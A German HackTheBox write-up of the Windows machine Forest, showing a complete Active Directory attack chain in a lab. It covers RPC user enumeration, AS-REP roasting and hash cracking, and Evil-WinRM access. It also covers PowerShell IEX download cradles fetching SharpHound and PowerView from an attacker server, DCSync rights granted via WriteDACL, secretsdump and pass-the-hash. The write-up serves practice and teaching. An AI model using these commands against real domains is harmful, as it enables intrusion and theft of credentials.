> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Forest HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Forest mit Abdeckung von AXFR - Domain-Zone-Transfer-Angriff (fehlgeschlagen), RPC-Enumeration - gültige Domänenbenutzer ermitteln, einen AS-RepRoast-Angriff mit den erhaltenen Be

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* AXFR - Domainzonen-Transfer-Angriff (fehlgeschlagen)
* RPC-Aufzählung - Gültige Domänenbenutzer ermitteln
* Durchführung eines AS-RepRoast-Angriffs mit den erhaltenen Benutzern
* Hashes knacken
* WinRM missbrauchen - EvilWinRM
* LDAP-Aufzählung - ldapdomaindump
* BloodHound-Aufzählung
* Systeminformationen mit SharpHound.ps1 sammeln - PuckieStyle
* Daten in BloodHound darstellen und visualisieren
* Einen Angriffsvektor in BloodHound finden
* Missbrauch der Gruppe Account Operators - Einen neuen Benutzer erstellen
* Missbrauch der Gruppe Account Operators - Einer neu erstellten Benutzerin/einem neu erstellten Benutzer eine Gruppe zuweisen
* Missbrauch von WriteDacl in der Domäne - DCSync-Berechtigungen gewähren
* DCSync-Ausnutzung - Secretsdump.py
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f62300cce066223cb1b660f065a37bdd3e13ed84%2Fimage%20(1559).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53c408039e62a2d37b7defb10e47a7eddad0bd2%2Fimage%20(1560).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5e2087caa4fd407ed742c404c9d5a6ce05ebd00%2Fimage%20(1561).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mithilfe der Funktion extractport offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fe0f8a217257fdb1ab3120759c0ed2ab0c03410%2Fimage%20(1562).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**/ Nmap verwenden, um Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccacd7bbcdd50f2a5268b2e4f5efd560cef41172%2Fimage%20(1563).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Liste und Betrieb:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **SMB-Aufklärung:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

Verwendung von CrackMapExec, um das Betriebssystem zu identifizieren

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c249b9b0946cf55be4bb55efa8833429b834c791%2Fimage%20(1564).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccbe548b7042afef02b39c95487a4ba7d6577d2a%2Fimage%20(1566).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/Erkundung der SMB-Freigaben im Netzwerk, um freigegebene Ressourcen zu identifizieren, jedoch ohne Ergebnis. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead32c7cab9614c854b972ad27bafea487033144%2Fimage%20(1565).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC-Aufklärung:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

Verwendung von rpcclient, um mit CPP-Diensten zu interagieren und Ressourceninformationen zu sammeln

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba2900412473c9125cb98ea67e44eb358aa820b%2Fimage%20(1567).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Die Gruppen auflisten:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a05b4db631f36c83d6747ada6553d52ba4e07944%2Fimage%20(1569).png?alt=media" alt=""><figcaption></figcaption></figure>

## ASREPRoast-Angriff:

#### Mit einer Liste gültiger Benutzer führen wir einen AS-RepRoast-Angriff durch, da wir keine Benutzerpasswörter benötigen.

Wir werden `grep` um Benutzernamen zu filtern, dann diese Daten in eine Datei einfügen

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2897e55ebec297609a6e790c7af63be8549f0f3b%2Fimage%20(1568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir verwenden das Tool GetNPUsers.py, um Benutzerinformationen ohne Passwort zu extrahieren:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b903484512efe33896f29aab34df9a878327d1f0%2Fimage%20(1570).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir holen den Hash des Benutzerpassworts "lucinda" und versuchen, ihn mit John the Ripper anhand einer vorgegebenen Passwortliste zu knacken:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b026f80d2eaafada249a1a317847289f89b7a0d%2Fimage%20(1571).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir verwenden CrackMapExec, um zu prüfen, ob das geknackte Passwort korrekt ist, indem wir eine WinRM-Verbindung versuchen:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da5bd730d33010e5692d67ebd33414e7ec559312%2Fimage%20(1573).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Schließlich verwenden wir Evil-WinRM, um mit den geknackten Zugangsdaten eine Verbindung zur Remote-Maschine herzustellen:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05ccf5014908a55a42a3df732615aac6f50849b4%2Fimage%20(1574).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

### Domänenaufzählung mit BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>BloodHound-Installation:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/Bei BloodHound mit den Anmeldedaten neo4j:neo4j anmelden. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**BloodHound starten.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cbcf772d4073c8f4c688f1d43a11e86a1f21ac8%2Fimage%20(1577).png?alt=media" alt=""><figcaption></figcaption></figure>

### Informationen mit SharpHound.ps1 sammeln <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### Die gesammelten Daten auf einen Linux-Server übertragen.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a888b288ff4a8bbe355123bae68ab253b90ff436%2Fimage%20(2121).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd4a56c1a63d03f39c28dfaffa41edccf140c30%2Fimage%20(2122).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir übertragen die ZIP-Datei an unser Team.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd1a8153a045da19da182b5ecb8be5b3cd8e6e7%2Fimage%20(2123).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/ZIP-Datei in BloodHound importieren. //*

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-badb346b1ce8b764467faf062f8afd287e72a5d3%2Fimage%20(1555).png?alt=media" alt=""><figcaption></figcaption></figure>

### BloodHound-Analyse und -Operationen <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### Daten filtern, um den kürzesten Pfad zum Domänenadministrator zu finden.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56d48ef789079360505f1028687332b5a42b541b%2Fimage%20(1556).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Mitgliedschaft in einer potenziell problematischen Gruppe (Account Operator) identifizieren.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141df2341334f9a3fb6def4a3eaa6ecdef4cfe99%2Fimage%20(1557).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c071d0bc48a17d5b9247399d726b49a67c0856%2Fimage%20(1558).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Die Benutzererstellungsfunktion nutzen, um einen DCSync-Angriff vorzubereiten.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-119ea87726b1f0e249b20ca1e0d789e2f785e592%2Fimage%20(2125).png?alt=media" alt=""><figcaption></figcaption></figure>

### DCSync-Versuch ohne ausreichende Rechte

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a90df4cc9870e24d40d846a272bf74eebd9a937e%2Fimage%20(2127).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Benutzer einer Gruppe mit höheren Berechtigungen hinzugefügt (`Exchange Windows Permissions`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8083f0f7d784e1ecbea76aa408400cc0c487366%2Fimage%20(2128).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92e62d1e545d3efb2e432b19c9d617fa87c32600%2Fimage%20(2130).png?alt=media" alt=""><figcaption></figcaption></figure>

### WriteDACL-Angriff:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8ec48c1226e4b7790523073572b707314c4bbc2%2Fimage%20(2131).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

Vorbereitung des WriteDACL-Angriffs mit PowerView\.ps1, um zusätzliche Funktionalität hinzuzufügen.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d828bd2214a9c47423c6a7a999178504da4cf9ad%2Fimage%20(2132).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Datei übertragen

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## DCSync-Angriffsanfälligkeit <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### Führen Sie den Befehl Add-DomainObjectAcl aus, um die Hashes zu erhalten.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### Verwendung von Impacket, um mit dem Benutzer jordanmacia Hashes zu extrahieren.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab462571d16f82401e7dabe9952b9985939e990%2Fimage%20(2133).png?alt=media" alt=""><figcaption></figcaption></figure>

### Pass-the-Hash-Angriff:

Verwendung des NT-Hashes des Administrators für den Pass-the-Hash-Angriff.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### Zugriff auf das System mit Administratorrechten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec7d36b08714df1a2e945cc4005afd82e582100f%2Fimage%20(2134).png?alt=media" alt=""><figcaption></figcaption></figure>

### Endgültige Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-144436433378152ef3437d52df416d5bd22b6081%2Fimage%20(2135).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f56ab45377213ae666b2737dcd78217333aa616%2Fimage%20(1413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
